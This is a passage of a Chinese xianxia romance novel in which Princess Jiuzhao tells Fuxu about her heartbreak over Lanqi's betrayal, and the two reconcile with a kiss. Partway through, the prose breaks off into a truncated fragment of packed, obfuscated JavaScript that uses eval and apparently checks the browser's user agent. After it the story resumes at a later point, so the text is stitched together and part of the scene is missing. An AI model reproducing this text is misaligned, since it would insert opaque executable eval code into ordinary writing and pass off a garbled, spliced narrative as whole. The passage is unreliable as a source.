然而回味的淡淡涩感,又为九昭的心绪披上一层往事的轻纱。 她很慢很慢地喝着,喝掉半盏,喝到火热的血液被茶效侵染,透出几分凉意。 九昭突然觉得满肚子的话无人可说好没意思。 她抬起眼睛,从四方庭院望出去,望向广阔无垠的夜空:“……本殿是不是很没出息?” “殿下何出此言?” 扶胥微微侧首。 他投来的目光分寸正好,不至于如有实质叫九昭难受。 九昭便就着这个谁也不看的姿势继续慢吞吞地说:“别人进入幻境,所要经历的心魔大多涉及苍生大义,唯有本殿被小情小爱困扰——最可笑的是,将本殿困住的那人还弃我如敝履。” 话匣子打开,无论身旁之人想不想听,九昭都有点控制不住自己。 “或许过去的本殿确实很可恶吧,想当然地以为彼此是家人,一些小事他不至于放在心上。 “……算了,本殿给自己开脱什么,从小到大,我就是那个最恶劣的人。 “可他就算讨厌我,不想与我成亲,大不了说出来,本殿又不至于死缠烂打——他背叛三清天是为了什么,难道父神的养育之恩,同窗的共度之谊,他都半点不在意吗?” 九昭的话充满迷惘,像是被难题困扰的孩童,在向师长寻求答案。 可内心深处,她却明白,答案不该向身边人寻求,真正该问的人也永远不会再给她答案。 往事就是往事。 再耿耿于怀也不过是往事。 记忆是没有温度,也没有重量的,除了时常化为尖针刺痛灵魂,再无任何作用。 倾诉完久久不见扶胥开口,九昭忍不住自嘲一笑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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九昭眉心轻跳,似有触动,又别扭地噘起嘴:“……你又开始了。” 扶胥自失一笑:“殿下见谅。倘若殿下实在不喜,今后臣愿意改正。” 心脏砰砰跳着,软成一团。 扶胥从来不会逃避失败,此时此刻,他也甘愿对九昭认输。 想了想,他索性坦诚道明今晚的另一层来意,“其实臣来见殿下,不只是为了送一盏清神茶。今日在修行室内对殿下说的话,是臣不好,臣向殿下道歉。” 他们之间,似乎又回到了九昭受伤,扶胥为她治疗的那一千年。 纵使磕磕碰碰,时常会发生争吵和九昭恼羞成怒的单方面追打,但从无怨怼和隔阂。 “兰祁已是前尘往事,臣希望能够常伴殿下左右,帮助殿下浴火重生,脱离心魔。” 扶胥的声音轻而坚定。 漫天的星辰里,九昭看见他允诺无悔的眼睛。 …… 她突然有些释然地笑出声来,一改年少遭遇爱情时的慌张无措,凑过去吻上扶胥的唇。 “怎么办,本殿好像突然原谅你了。”